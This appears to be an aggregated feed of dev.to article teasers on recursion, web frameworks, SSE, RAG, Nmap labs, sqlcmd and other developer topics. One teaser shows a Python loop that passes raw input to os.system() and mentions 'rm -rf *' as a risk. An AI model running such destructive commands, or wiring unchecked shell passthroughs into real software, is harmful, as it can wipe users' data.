I did not post last week as I did not have much time to work on BST. I will keep this brief as my note-keeping was not ideal this week - something to improve. The LevelOrderForEach method The preOrder, inOrder and postOrder methods The Height method The Depth method the isBalanced method The reBalance method (currently half-working, but need to finish off) I am still having issues figuring out return values and visualising how they affect the call stack as it unwinds. I am trying not to dwell on this though, as even though I sitll really, really have to think about it, I am still getting there and have definitely improved over time. I got really stuck with the Height method and was unsure how to return cumulative, numercial values. I ended up googling and ‘accidentally’ seeing a solution. I did not copy it as such, I left it for a few days as was busy and when i came back to it, although I recalled some small parts of the solution, I wrote it out myself without checking the solution again. Not ideal I know, but it helped me to get my head around how to approach things and once I understood it, I had no problem applying a similar logic to the Depth method Even though I mentioned that I still have issues with return values and the unwinding of the callstack, I still think I am marginally better at it than I was before, so that it some progress. I should draw out the call stack and return values from each call when approaching recursive problems as it definitely helps to see things more clearly. I noticed that I have frequently completely forgotten about the return value outside of the base case, which has obviously affected my code. I believe that if I follow (draw out) what is happening line-by-line, I would be much less iikely to do this. I still feel like I need a lot more practice at recursion. n/a I thought I would never say this as I have dragged this project out so much for various reasons, but I believe I should finish BST this week - tomorrow in fact. I will then be moving onto Knights Travails.  ( 6 min )

A cinematic, responsive “coming soon” page with animated starfield canvas, neon accents, countdown timer, and email subscribe form. Perfect for tech launches and product teasers.  ( 5 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My fascination with real-time web applications began during a project where we needed to push live updates to thousands of connected clients simultaneously. Traditional polling approaches created excessive server load and poor user experience. My exploration of Server-Sent Events (SSE) led me to discover an implementation that revolutionizes real-time web communication. The breakthrough came when I realized that SSE provides a simpler, more efficient alternative to WebSockets for many real-time scenarios. Unlike WebSockets, SSE works seamlessly with existing HTTP infrastructure, requires no special protocols, and provides automatic reconnection capabilities. My research revealed a framework implementation that maximizes these adva…  ( 9 min )

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GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My deep dive into context management began during a performance optimization project where I discovered that inefficient request context handling was creating memory leaks and performance bottlenecks. Traditional web frameworks often treat context as an afterthought, leading to resource waste and complex state management. This experience led me to explore how sophisticated context management can dramatically improve both performance and developer experience. The pivotal insight came when I realized that request context isn't just about passing data between functions—it's about creating an efficient, type-safe mechanism for managing the entire request lifecycle. My research revealed a framework that implements context management pa…  ( 12 min )

In the world of business computing, few areas are as critical — and yet as overlooked — as mainframe security. Platforms like IBM zSystems still power banking, retail, logistics, and countless industries… but the talent pool to protect them is far too small. As an IBM Z Student Ambassador Program and part of Your Big Year®, I’m passionate about turning learning into career-shaping opportunities. That’s why I’m excited to share the hashtag#IBM Z Xplore Security Challenges — a free, hands-on learning path from IBM where you can build real skills in securing the systems that keep the global economy running. Here’s what makes it unique: 💻 Access to a real z/OS mainframe environment (no simulators) 🛡 Practical security labs covering RACF, JCL, encryption, and system hardening 🌍 A global IBM Z learner community with discussion forums and mentoring 📚 Digital IBM badges to showcase your expertise to employers And the best part? IBM Z Xplore is open to students, professionals, and career changers alike — no prior mainframe experience required. It’s a direct path to IBM-recognized credentials that can launch or accelerate your career in mainframe cybersecurity. If you’re passionate about tech, cybersecurity, or computing for business, this is your chance to gain skills that connect security expertise with the critical systems powering the world. With Your Big Year and IBM, we’re on a mission to ensure the next generation of talent can learn, grow, and thrive in industries where expertise is needed now. 💡 Mainframes aren’t a thing of the past — they’re the invisible backbone of the digital economy. And you could be the one to protect them.  ( 6 min )

Production-Grade Virtual Infrastructure: KVM + Ansible Implementation Enterprise virtualization platform with automated provisioning and infrastructure-as-code principles Modern infrastructure teams require cost-effective environments for development, testing, and validation workflows. Public cloud resources, while scalable, introduce significant operational expenses for non-production workloads. This implementation demonstrates how KVM virtualization, libvirt management APIs, and Ansible automation create an enterprise-grade local cloud platform that delivers production-equivalent capabilities with zero recurring costs. Kernel-based Virtual Machine (KVM) provides Type-1 hypervisor capabilities through direct kernel integration. Unlike Type-2 solutions (VirtualBox, VMware Workstation), K…  ( 8 min )

Large Language Models (LLMs) have revolutionized how we interact with information, generating human-like text with astonishing fluency. Yet, their power comes with inherent limitations: they are trained on static datasets, making them prone to generating outdated or even fabricated information—a phenomenon known as "hallucinations." Imagine a brilliant student who only knows what they learned years ago, unable to access new books or current events. This is where Retrieval-Augmented Generation (RAG) steps in, transforming LLMs from static knowledge bases into dynamic, real-time information powerhouses. At its core, RAG is a sophisticated technique that combines the strengths of information retrieval with the generative capabilities of LLMs. Instead of relying solely on their pre-trained kno…  ( 8 min )

Hey there, fellow engineers! Ever feel like AI-powered chatbots are just scratching the surface of what's possible in software engineering? You and I both know the future is so much richer and wilder. Today, let's talk about something that's starting to change how we work: multi-agent AI systems. Not just one "co-pilot," but coordinated teams of AI agents working alongside us—sometimes autonomously, sometimes in sync with our intentions—to streamline, automate, and even reimagine day-to-day engineering. Curious about what that really means? Let's dive deep. Most of us started seeing AI as helpful when OpenAI's ChatGPT, Copilot, and other chat-based assistants entered our workflow. They're cool—but they're still fundamentally "helpers," not independent workers. But what if we could deploy f…  ( 9 min )

𝗪𝗵𝘆 𝗺𝗮𝗻𝘆 𝗺𝗼𝗱𝗲𝗿𝗻 𝘄𝗲𝗯 𝗮𝗽𝗽𝘀 𝗿𝘂𝗻 𝗼𝗻 𝗘𝘃𝗲𝗻𝘁-𝗗𝗿𝗶𝘃𝗲𝗻 𝗔𝗿𝗰𝗵𝗶𝘁𝗲𝗰𝘁𝘂𝗿𝗲 (𝗘𝗗𝗔) 🚀 Think about Amazon or any big e-commerce site. Behind the scenes, dozens of different services inventory, payments, notifications, billing all need to work together smoothly. In a traditional setup, this communication happens directly between services. For example: • 𝗦𝗲𝗿𝘃𝗶𝗰𝗲 𝗔 calls 𝗦𝗲𝗿𝘃𝗶𝗰𝗲 𝗕 (like a client talking to a server). The problem? If Service B is slow or goes down, Service A suffers too. This creates 𝘁𝗶𝗴𝗵𝘁 𝗰𝗼𝘂𝗽𝗹𝗶𝗻𝗴 between services. 𝗘𝘃𝗲𝗻𝘁-𝗗𝗿𝗶𝘃𝗲𝗻 𝗔𝗿𝗰𝗵𝗶𝘁𝗲𝗰𝘁𝘂𝗿𝗲 🎯 Instead of talking directly, services use a broker (think of it as a post office for events). Here’s how it works: 𝟭. Service A becomes a 𝗽𝗿𝗼𝗱𝘂𝗰𝗲𝗿 — it sends an event to the broker. The benefits? This approach is why you can order something online, get an instant confirmation, and still receive updates later even if some backend services were temporarily offline. Event-Driven Architecture = 𝘀𝗰𝗮𝗹𝗮𝗯𝗹𝗲, 𝗿𝗲𝘀𝗶𝗹𝗶𝗲𝗻𝘁, and 𝗿𝗲𝗮𝗱𝘆 for the unpredictable.  ( 5 min )

Ever felt that swirl of intimidation and excitement looking at Machine Learning? That feeling of "I really want to get into this, but where do I even begin?" Well, I've been there, and I just crossed a major milestone: building my first machine learning model! And let me tell you, watching it "learn" to read handwritten digits was nothing short of magical. If you're looking for the perfect entry point into ML, strap in, because I'm about to share my journey with the legendary MNIST dataset. Imagine a vast collection of tiny, grayscale images, each showing a single handwritten digit from 0 to 9. That's MNIST! It's the "Hello World" of image classification datasets, and for good reason: Size: 60,000 training images, 10,000 test images. Just enough to be meaningful, not overwhelming. Simp…  ( 8 min )

There has been no shortage of content detailing how interviewing in tech is broken. How it’s gotten much harder in the age of AI. I myself have been coding for around 10 years. 2023 was the hardest year yet in my career. Like many others I got laid off at the end of 2022 after tech went through an over hiring phase during Covid. In 2023 it wasn’t that there weren’t opportunities, there were still plenty, it’s just that to get a job you had to compete with more qualified talent than at any other time since probably The Great Recession. Long gone were my junior days where I felt I mostly could get a job off of ‘good vibes.’ The coding tests were more challenging, more numerous, and I found that LeetCode challenges were becoming the norm. I’m a frontend engineer. Up until this point in my c…  ( 10 min )

My Ruby Learning Journey: From while Loops to a Cheat Sheet Learning to code can feel like you're constantly collecting a mountain of notes and code snippets. Recently, I was struggling to nail down Ruby's basic control flow, especially with while loops. The syntax seemed simple, but keeping track of the loop condition and the iterator was a challenge. After working through it, I realized a lot of my frustration came from managing too many moving parts. A while loop requires you to declare an iterator, set a condition, and manually increment the iterator inside the loop. I was surprised to discover how much cleaner a for loop is for this exact task. The syntax for i in 1..5 handles everything—the starting value, the ending value, and the incrementing—all in one line. This simple change m…  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane During my final year project on microservices architecture, I encountered a critical challenge that many developers face: dependency bloat. Our team's initial implementation relied on dozens of external libraries, creating a complex web of dependencies that introduced security vulnerabilities, increased binary size, and complicated deployment processes. This experience led me to explore a radically different approach that would fundamentally change my perspective on web framework design. The revelation came when I discovered that most web framework dependencies provide functionality that can be implemented more efficiently using only standard library components. My research into zero-dependency architectures revealed performance b…  ( 9 min )

Wuthering Waves is gearing up to drop its Version 2.6 update—By Sun’s Scourge, By Moon’s Revelation—with a sleek new trailer that teases more open-world action, jaw-dropping visuals and fresh lore. Mark your calendars for August 28, 2025, when this free-to-play RPG from Kuro Games lands on PlayStation 5 and PC. Watch on YouTube  ( 5 min )

Over the past few weeks, I’ve been diving deep into building Generative AI Applications — exploring how cutting-edge techniques like RAG (Retrieval Augmented Generation), Multimodal AI, and Agentic AI are transforming the way we build intelligent systems. 🔹 RAG (Retrieval-Augmented Generation) 🔹 Multimodal AI 🔹 Agentic AI 💡 Along the way, I explored: 🌍 Whether you’re in software engineering, machine learning, or data science, mastering RAG, Multimodal AI, and Agentic AI provides a serious competitive edge in today’s evolving job market. Excited to keep pushing forward and applying these skills in real-world projects! 💪 GenerativeAI #RAG #AgenticAI #LangChain #LangGraph #MultimodalAI #AI  ( 5 min )

My dev workflow with Claude Code has become a lot more flexible. It’s no longer about a single agent working on one thing at a time. It's about orchestrating a team of agents across multiple tasks simultaneously. The key to making this work? Git worktrees. I'm using GitHub for my project, so a big part of my learning journey is figuring out how to achieve best-practice SDLC with this new way of development and Git. A lot of that comes down to a simple idea: maximizing parallel development. Some of my projects have bugs/refactoring/new feature development plans, with both dependent and independent tasks. Waiting for one to finish before starting the next would have been too slow. I needed a way to accelerate velocity without creating chaos. Git worktrees allow you to manage multiple develop…  ( 9 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My journey into robust error handling began during a production incident where a single unhandled exception brought down our entire web service. The cascade failure taught me that error handling isn't just about preventing crashes—it's about building resilient systems that gracefully degrade under stress while maintaining service availability. This experience led me to explore error handling strategies that could maintain both performance and reliability. The critical insight came when I realized that traditional error handling approaches often create performance bottlenecks through excessive exception throwing, complex stack unwinding, and resource cleanup overhead. My research revealed a framework that implements error handling …  ( 13 min )

Hi dev.to community! I just finished Seattle Now, my CS50 final project. It’s a fully responsive Flask web app that aggregates Seattle weather, events, sports, news, and local attractions. The goal was to create something useful for both residents and visitors. I’d love feedback on the project – design, features, or anything you think could be improved! Check it out here: https://seattle-now.onrender.com  ( 5 min )

Web Accessibility: A business imperative, not just a technical detail Accessibility isn’t a nice-to-have. It’s a strategic driver of performance, reputation, and impact. Yet too many websites still exclude millions of users, people with disabilities, older adults, and those with limited devices or slow connections. Every exclusion comes at a cost: lost SEO, weakened brand trust, missed opportunities. An accessible site works for everyone. It’s intuitive, inclusive, and future-ready. More than just compliance, it’s a bold statement: your company values equity, innovation, and digital excellence. Let’s stop treating accessibility as a checkbox and start seeing it as a competitive edge.  ( 5 min )

When Simple Becomes Complex: Domain Boundaries and the CAP Theorem Quick Recap In Part 1, we established that distributed systems are everywhere. We explored the street food vendor (monolith) and saw how adding a second person introduces architectural decisions: either run multiple independent food trucks (expensive but simple) or share a workspace with specialised roles (cheaper but more complex). Now let's dive into what happens when you choose specialisation. When you split roles - one person taking orders, another cooking - you've created domain boundaries. In restaurants, these are often literal walls separating the dining room from the kitchen. In software, these become microservices. The order-taker specialises in customer service, menu knowledge, and payment processing…  ( 7 min )

Python is a very powerful language, with just a couple of lines you can make Python behave like a mini bash shell. ls, pwd or anything else you'd normally run in terminal, all from inside Python. Full code: import os command = input("$ ") while command != "exit": os.system(command) command = input("$ ") print("Thank you, exiting!") Python shows me a prompt ($ ) and waits for my input. If I type something like ls (on Linux/Mac) or dir (on Windows), it passes that command to os.system(). Behind the scenes, os.system() calls a C function (system()), which then asks the shell (/bin/sh or cmd.exe) to run the command. The shell runs it, prints the output right in my terminal, and then Python asks me again for the next command. If I type exit, the loop stops and the script politely says “Thank you, exiting!” Here's the flow diagram: So that was it, remember...running raw shell commands is a risky job as someone could just rm -rf * deleting everything on your computer but it’s a nice way to peek under the hood at how Python talks to the operating system.  ( 5 min )

When brushing up on SQL—especially intricate concepts like subqueries, indexing, and window functions—I started using FullStackPrep.Dev’s SQL hub. It offers clear topic summaries, MCQs, and interview-style explanations all in one place. Perfect for both quick revisions and deep learning: https://fullstackprep.dev/articles/webd/sql https://fullstackprep.dev/  ( 5 min )

"In VoIP, it’s not enough to play the game — sometimes you need to play it in stealth mode." In previous levels, we built up VoIP basics: SIP to set up calls SDP to negotiate media RTP to carry voice and video But what happens when the arena is hostile? Eavesdroppers, man-in-the-middle attacks, or even malicious proxies could steal or tamper with calls. That’s where VoIP security comes in. VoIP has two layers to protect: Signaling (SIP) — Who’s calling, how, where to connect. Media (RTP) — The actual voice/video packets. Both require different protection strategies. SIP normally rides on plain UDP or TCP. That’s like mailing postcards — anyone along the route can read them. The fix? Transport Layer Security (TLS). SIP over TLS (SIPS) encrypts SIP signaling between endpoints…  ( 7 min )

Hey future cybersecurity rockstar! Ready to unlock the secrets of network exploration and security auditing? Our 'Learn Nmap' path is your ultimate starting point. Forget boring lectures; we're talking hands-on, practical learning that gets you straight into the action. You'll master network scanning, port discovery, and vulnerability assessment with real-world scenarios. No videos, just pure, unadulterated learning in our dedicated network scanning playground. Let's get you skilled up! Difficulty: Beginner | Time: 15 minutes In this lab, you will learn how to develop a Metasploit scanner within Nmap. You'll review the Metasploit structure, create a simple TCP scanner file, set up a listening server, and finally, run the scanner to identify vulnerabilities. This hands-on experience will enhance your understanding of network security and penetration testing. Practice on LabEx → | Tutorial → Difficulty: Beginner | Time: 15 minutes In this lab, you will learn how to perform information gathering using Nmap. You will scan open ports, obtain basic host information, and identify network services running on the target site. This hands-on experience will enhance your understanding of network reconnaissance techniques. Practice on LabEx → | Tutorial → Difficulty: Beginner | Time: 15 minutes In this lab, you will learn how to use Nmap to scan a target host for open ports and vulnerabilities. You will then analyze the scan results and exploit a discovered vulnerability. This hands-on experience will enhance your understanding of network security and penetration testing. Practice on LabEx → | Tutorial → Ready to dive in? These labs are your gateway to becoming a network security pro. Start your Nmap journey today and unlock powerful skills that will set you apart!  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane As a computer science student passionate about performance optimization, I've always been fascinated by the pursuit of minimal latency in web applications. My recent deep dive into latency optimization techniques led me to discover approaches that consistently achieve sub-millisecond response times, fundamentally changing my understanding of what's possible in modern web development. The journey began during my internship at a financial technology company where microseconds matter. Our trading platform required response times under 1 millisecond for market data requests. Traditional frameworks struggled to meet these requirements consistently, leading me to explore alternative approaches that would revolutionize our architecture. …  ( 8 min )

Introduction In my experience as a developer, I've met plenty of people who think distributed systems are magical. They're not - they add complexity, certainly, but once you understand them, the pitfalls become obvious. This is my attempt at simplifying the concept. It's how I'd explain it to my mother, who isn't technical at all. But first, let me say this: unless your application runs on a single machine without any network access (not even localhost), you're already using and/or part of a distributed system. You probably recognise these concepts already: Eventual consistency Communication costs Load balancing Service discovery Every culture has street food vendors, so this should be relatable. The street food vendor is your monolith application. One person does everything: takes order…  ( 6 min )

When learning about real-time updates on the web, one of the first confusing crossroads we encounter is: Should we use Server-Sent Events (SSE) or WebSockets? 🤔 Let’s break it down step by step in a beginner-friendly way, focusing on the parts that usually feel tricky. We’ll also look at the headers involved, some code snippets, and use cases to make things concrete. Both SSE and WebSockets allow servers to push updates to the client without the client repeatedly asking. But the way they do it is different: 📡 SSE (Server-Sent Events): Works over regular HTTP 🌐 Server can keep sending messages (events) to the client whenever it wants One-way only ➡️ server → client Very simple API in browsers (EventSource) 🔌 WebSockets: Creates a special persistent connection (not plain HTTP) Allows two…  ( 8 min )

Sometimes, you get a SQL script file so large that SQL Server Management Studio (SSMS) or regular text editors can't even open it. This can happen when the file is hundreds of MBs or even several GBs, often containing bulk data inserts, schema creation, or migration scripts. In this article, I’ll show you why this happens, and how you can run such scripts without loading them into memory. SSMS tries to load the entire file into memory before executing it. Editors like Notepad or even Notepad++ will either crash or freeze if the file is too large. Large files (1GB+) consume a lot of RAM during parsing, making it impossible to edit or even view them on normal machines. sqlcmd to Run the File Directly sqlcmd is a command-line utility provided by SQL Server that can execute SQL files without loading them fully into an editor. Example: sqlcmd -S .\SQL2022 -d master -i "C:\Path\To\BigScript.sql" Explanation: -S .\SQL2022 → Connect to the local SQL Server instance named SQL2022. -d master → Start execution in the master database (safe choice for scripts that create databases). -i → Path to your SQL file. If you use SQL authentication: sqlcmd -S .\SQL2022 -U sa -P YourPassword -d master -i "C:\Path\To\BigScript.sql" You can save execution results for later review: sqlcmd -S .\SQL2022 -d master -i "C:\Path\To\BigScript.sql" -o "C:\Path\ExecutionLog.txt" If you need to edit the script: Use tools like GSplit, EmEditor, or a PowerShell script to break the file into smaller chunks. Example PowerShell: Get-Content "C:\Path\BigScript.sql" -ReadCount 1000 | % { $i++ $_ | Out-File "C:\Path\Part_$i.sql" } If viewing or editing is absolutely necessary: EmEditor UltraEdit Glogg (view only) When dealing with massive SQL scripts, the goal is execution without full loading. sqlcmd tool is perfect for this job — lightweight, fast, and does not require opening the file in SSMS. Tags: sqlserver database bigdata performance I’m Morteza Jangjoo and “Explaining things I wish someone had explained to me”  ( 6 min )

Hi there! I'm Maneshwar. Currently, I’m building a private AI code review tool that runs on your LLM key (OpenAI, Gemini, etc.) with flat, no-seat pricing — designed for small teams. Check it out, if that’s your kind of thing. In modern software development, Component-Based Design (CBD) has emerged as one of the most powerful architectural approaches. Instead of building monolithic systems, CBD focuses on designing applications by assembling independent, reusable, and well-defined components. This modular structure allows developers to create flexible, maintainable, and scalable software systems. Component-Based Design is an approach where a system is divided into self-contained components, each responsible for a specific functionality. These components: Have a clear interface that defin…  ( 7 min )

What is covered in this example How to configure smolagents with a Gaia Node. How to define reusable tools with the @tool decorator. How to create an agent that responds to natural language queries. Get your Gaia Developer API key here. from smolagents.agents import ToolCallingAgent from smolagents import tool, LiteLLMModel from typing import Optional import requests # Configure the model with Gaia's tooling node model = LiteLLMModel( model_id="openai/llama", # Using OpenAI format for Gaia compatibility api_base="https://llama3b.gaia.domains/v1", # Gaia's tooling node api_key="gaia-" # API key for Gaia node ) @tool def get_weather(location: str, celsius: Optional[bool] = True) -> str: """ Get current weather conditions for a location using wttr.in service. …  ( 6 min )

GitHub Homepage As a junior computer science student, I have encountered various frameworks during my web development learning journey. From traditional Apache to modern Node.js, each framework has its unique advantages and limitations. Recently, I discovered an impressive Rust web framework whose performance made me reconsider the design philosophy of web servers. Throughout my learning experience, I found that traditional web frameworks often face performance bottleneck issues. Taking Apache as an example, while it is powerful and stable, its performance in high-concurrency scenarios is not ideal. I once conducted a simple performance test where Apache's average response time for 10,000 requests reached 300 microseconds, and in some complex scenarios, it even exceeded 2,500 microseconds.…  ( 9 min )

Starting a business is a lot like shipping your first product. You have the idea, the drive, maybe even a working prototype. But when it comes to scaling — whether it’s hiring your first employee, investing in better equipment, or expanding distribution — the real blocker is often capital. For women entrepreneurs in India, this hurdle can feel even higher. Traditional lending asks for collateral — property, assets, guarantees — which many first-time founders don’t have. This is where the Credit Guarantee Scheme for Stand-Up India (CGSSI) steps in as an unsung enabler. What’s the problem with collateral? Think of collateral like server uptime guarantees. It’s security for the lender (the bank), not necessarily for you. But the reality is: Many women launching greenfield businesses don’t …  ( 6 min )

Introduction Hello everyone, and welcome back to yet another fantastic article! As the title implies, I will present to you today a distinctive Internationalization (i18n) that frequently seems like a laborious afterthought. However, what if it could be integrated into your workflow right away, free from unorganized translation keys and bulky configurations? So, before that, I would like to explain what and why internationalization is important in day-to-day applications. Internationalization is nothing but a language translation for all available languages, so it's a commonly referred to as i18n as there are 18 letters between the first "i" and the last "n", so it is the process of designing and developing products, especially software, so they can be easily adapted for different langu…  ( 9 min )

## Conectando-se à API GPT: Mantendo o Contexto e Melhorando com NLP A API GPT (Generative Pre-trained Transformer) revolucionou a forma como interagimos com a linguagem. Ela permite a criação de chatbots sofisticados, a geração de texto criativo, a tradução de idiomas e muito mais. No entanto, para realmente aproveitar o poder da API GPT, é crucial entender como conectá-la, manter o contexto da conversa e aprimorar seus resultados com o Processamento de Linguagem Natural (NLP). Conectando-se à API GPT O primeiro passo é obter acesso à API GPT. Isso geralmente envolve: Registro: Crie uma conta na plataforma que oferece a API GPT (ex: OpenAI). Obtenção da Chave API: Após o registro, você receberá uma chave API. Guarde-a em segurança, pois ela será usada para autenticar suas requisições. …  ( 7 min )

Reasons to use Common Lisp An actively-maintained-implementation, long-term-stable-specification programming language There are many programming languages that don't change much, including Common Lisp can be extended through libraries. For example, cl-interpol Common Lisp includes many features found in modern programming Garbage collection Built-in data structures (e.g., vectors, hash tables) Type hints Class definitions A syntactic structure similar to list comprehensions While Lisp is commonly associated with functional programming, Common Common Lisp has many implementations, and some of them, such as SBCL, With some (of course, not all) implementations, many programs written in First, an example of the generated assembly will be shown, along with The code listing below is…  ( 9 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My understanding of middleware architecture evolved during a complex project where we needed to implement authentication, logging, rate limiting, and CORS handling across dozens of API endpoints. Initially, we duplicated logic across handlers, creating a maintenance nightmare. This experience led me to explore middleware patterns that could elegantly solve cross-cutting concerns while maintaining performance and flexibility. The breakthrough moment came when I realized that middleware isn't just about code organization—it's about creating composable, reusable components that can transform requests and responses in a predictable pipeline. My research revealed a framework that implements middleware patterns with exceptional performa…  ( 11 min )

Adam Savage Is Bad at Random In this Tested live‐stream clip, Adam Savage tackles two fan questions head‐on: whether he’s developed an intuitive “maker sense” (that gut-feel muscle memory for building stuff) and how his neurodivergence factors into his design process. He gets refreshingly candid about both—dissecting the role of instinct in crafting and sharing how ADHD (and all its wiring) can be both a hurdle and a creative superpower. Big thanks to members Papa Taylor and Shris “Pretzelbear” Lewis for their questions and support! Watch on YouTube  ( 5 min )

Rodney Chrome, born in Little Rock and now Brooklyn-based, hits the COLORS stage with a high-voltage, club-ready performance that’s impossible to ignore. You can stream the show, dive into curated playlists, and stalk his moves on TikTok and Instagram. COLORSxSTUDIOS is your one-stop aesthetic music haven for the freshest, most original acts around. Catch the 24/7 livestream, shop the merch, subscribe to the newsletter, or follow their socials to stay in the loop. Watch on YouTube  ( 5 min )

Building Reactive Interfaces with Formik and React: A Comprehensive Guide Forms are the backbone of most web applications. Whether you're managing user logins, capturing feedback, or submitting complex data, forms are everywhere. However, handling forms in React can be tedious—managing state, validation, and error messages often becomes verbose and difficult to maintain. Enter Formik: a small library that helps you build and manage forms effortlessly in React. In this blog post, we’ll take a deep dive into using Formik with React to build reactive, user-friendly, and maintainable form interfaces. Whether you're a beginner or looking to brush up on best practices, this guide will walk you through all the essentials and a few advanced topics. Formik is a popular open-source library that si…  ( 8 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My journey into production deployment began with a catastrophic failure during our first major product launch. Our web service, which performed flawlessly in development, crumbled under real-world traffic within minutes of going live. This humbling experience taught me that deployment isn't just about moving code to production—it's about architecting systems that can handle the unpredictable nature of real-world usage while maintaining performance and reliability. The transformation in my understanding came when I realized that production deployment requires a fundamentally different mindset from development. My research into deployment strategies revealed a framework that enables sophisticated production deployments while maintai…  ( 13 min )

Software Architecture Unveiled: A Series by Igor Fraga Hi everyone, Igor Fraga here. This is the second article of these series to unveil the challenges and the role of what we do as a Software Architect. We are going to understand more about one of the key aspects of this role that is translating business into technical solutions. Here is where we start to draw from ideas, goals into a plan to build a concrete system that accomplishes it's goal. Business leaders speak in goals. Developers think in systems and constraints. A software architect stands in the middle, turning goals into a clear, realistic plan the team can build. This work is not about fancy words—it’s about questions, choices, and shared understanding, and keep this word, UNDERSTANDING. This work unfolds over a focused week …  ( 10 min )

Moving a production database from SQL Server to Azure sounds exciting—until you start worrying about downtime, data loss, and compatibility issues. And once your database is live in Azure, fixing migration mistakes is far from easy. Full guide here → https://www.devart.com/dbforge/sql/studio/migrate-sql-server-to-azure.html Manual SQL scripts and one-off exports can work for small databases—but for production workloads, they’re slow, error-prone, and hard to replicate across environments. Automated migration handles the complexity for you, ensuring every object, relationship, and record arrives intact. With dbForge SQL Server to Azure Migration, you can: Migrate Schemas and Data Together — Move tables, relationships, indexes, and records in one go Preview Changes Before Applying — Verify what’s being migrated to avoid surprises Handle Large Databases Efficiently — Optimize transfer speed and prevent timeouts Resolve Compatibility Issues Automatically — Adjust types, constraints, and settings for Azure Validate Post-Migration — Confirm accuracy with built-in data comparison tools Download it for a free 30-day trial: https://www.devart.com/dbforge/sql/studio/download.html  ( 6 min )

Job interviews are like fighting bosses in a game. The real difficulty isn't a lack of skill points, but the absence of opportunities to expose one's shortcomings before the actual battle. Many people only realize their problems during their first interview, but by then, it's often too late. I recently chatted with a former colleague from my previous company, and we shared the same view: a truly valuable AI interview product should be able to: Identify shortcomings in advance: For example, unclear expression logic, overly vague answers, or failure to grasp key points. Provide targeted feedback: Not only tell you what's wrong, but also suggest directions for improvement. Simulate real scenarios: Voice Q&A, follow-up questions, and even a bit of pressure. Enable quantifiable progress: Interview reports + stress tests, allowing you to see your progress curve. In other words, the significance of AI interviews is not to "replace interviewers", but to help you adapt to real interview scenarios in advance. It's like replaying a dungeon in a game, where you can test out skill cooldowns, movement habits, and expose weaknesses. When the real battle comes, you won't be caught off guard. It's easy to search for such AI tools online, such as OfferEasy AI - Real-time AI mock interviews enhance interview skills. I would like to discuss with everyone: what functions should a good AI simulated interview tool have? Real-person voice feedback? Interview evaluation reports? Or something else?  ( 6 min )

When preparing for software development interviews, one of the most common questions is: What is the difference between .NET Core and .NET Framework? The .NET ecosystem has evolved over the years, and understanding this evolution is crucial for both beginners and experienced developers. .NET Framework is the original implementation, limited to Windows, and widely used in enterprise apps. .NET Core, on the other hand, is cross-platform, open-source, and built with performance and scalability in mind. This shift reflects Microsoft’s move towards open-source development and cloud-native applications. For interview preparation, it’s important to know not just the definitions, but also when to choose one over the other. 👉 Here’s a comprehensive guide that breaks it down with examples and interview-ready explanations: What is .NET Core and how is it different from .NET Framework? If you’re preparing for full-stack interviews or upgrading your skills, this is a must-read. 🚀 https://fullstackprep.dev/  ( 5 min )

GitHub Homepage During my junior year studies, I have encountered many different web frameworks, from Spring Boot's "convention over configuration" to Django's "batteries included." Each framework has its unique design philosophy. Recently, I discovered an impressive web framework that adopts a completely different design philosophy—zero-dependency design. This minimalist design philosophy made me reconsider the essence of software architecture. In my previous project experience, dependency management has always been a headache. Taking a typical Spring Boot project as an example, even the simplest "Hello World" application requires introducing numerous dependencies. org.springframework…  ( 10 min )

Programming Is Becoming Prompting Leon Martin ・ Aug 1 #ai #programming #python #discuss  ( 5 min )

📦 JavaScript Object Methods: A Complete Guide Working with objects is at the heart of JavaScript programming. Whether you are building classes, handling API responses, or manipulating data structures, knowing the native Object methods will make your code more powerful, secure, and expressive. In this article, we will explore the most important Object methods available in JavaScript, see examples in action, and understand when to use each of them. 🔗 Reference: MDN Web Docs – Object Object Methods Matter JavaScript objects are dynamic, meaning you can create, extend, freeze, or inspect them at runtime. Native Object methods provide a safe and standard way to handle these operations without reinventing the wheel. Object Methods 🔤 Method 📌 Description 💻 Example 🔁 Use Cases…  ( 8 min )

Website performance directly affects what users feel and what your business earns. One way of identifying performance issues is via API-based load testing tools such as k6. API load tests tell you whether your services scale and how quickly they respond under load, but they don’t measure the full user experience. If you focus only on load testing your backend, you might still ship a slow or jittery site because of render‑blocking CSS/JavaScript, heavy images/fonts, main‑thread work, layout shifts, and other front-end issues. Ultimately users don't care where the performance issue resides, they just know your site is "slow". This slow performance can cost you customers, revenue, search visibility, and trust. Lighthouse is an automated auditor built by Google and is part of the Chrome DevTo…  ( 8 min )

Building a modern WordPress website in 2025 is faster, smarter, and more efficient thanks to AI-powered WordPress plugins. From photo gallery plugins for WordPress to advanced SEO optimization tools, today’s AI-driven solutions can design responsive pages, write engaging content, optimize images for search engines, improve website speed and performance, and even make your WordPress photo galleries more discoverable. Whether you’re a WordPress developer, a photographer showing images online, or a site owner managing visual content, these intelligent plugins streamline workflows and boost search visibility. In this guide, we’ll explore 7 essential AI-powered WordPress plugins, from advanced AI page builders to intelligent security scanners, that can help you create a complete, functional, an…  ( 12 min )

GitHub Homepage During my junior year studies, I have been pondering a question: how can we optimize server architecture to the extreme while maintaining functional completeness? Traditional heavyweight frameworks, while feature-rich, often come with issues like high resource consumption and slow startup times. Recently, I encountered an impressive lightweight server architecture that completely changed my understanding of web server design. In my previous project experience, I have used mainstream frameworks like Spring Boot and Django. While these frameworks are powerful, their resource consumption left a deep impression on me. A simple Spring Boot application requires over 200MB of memory to start and often takes more than 10 seconds to boot up. // Traditional Spring Boot application st…  ( 10 min )

QR codes are a convenient way to share information such as URLs, IDs, or text strings in a compact scannable format. With Salesforce Lightning Web Components (LWC), you can build a QR Code Generator that works directly inside Salesforce pages such as Home, Record, or App Pages. In this blog, we'll walk through how to implement this step by step. Before you start, make sure you have: A Salesforce org (Developer Edition or Sandbox is fine) Familiarity with LWC basics Access to upload static resources We will use the popular QRCode.js library to generate QR codes. Download the qrcode.min.js file. In Salesforce Setup, search for Static Resources. Upload the file as a static resource with the name: qrcode. Run the following command (if using Salesforce CLI): sfdx force:lightning:component:creat…  ( 6 min )

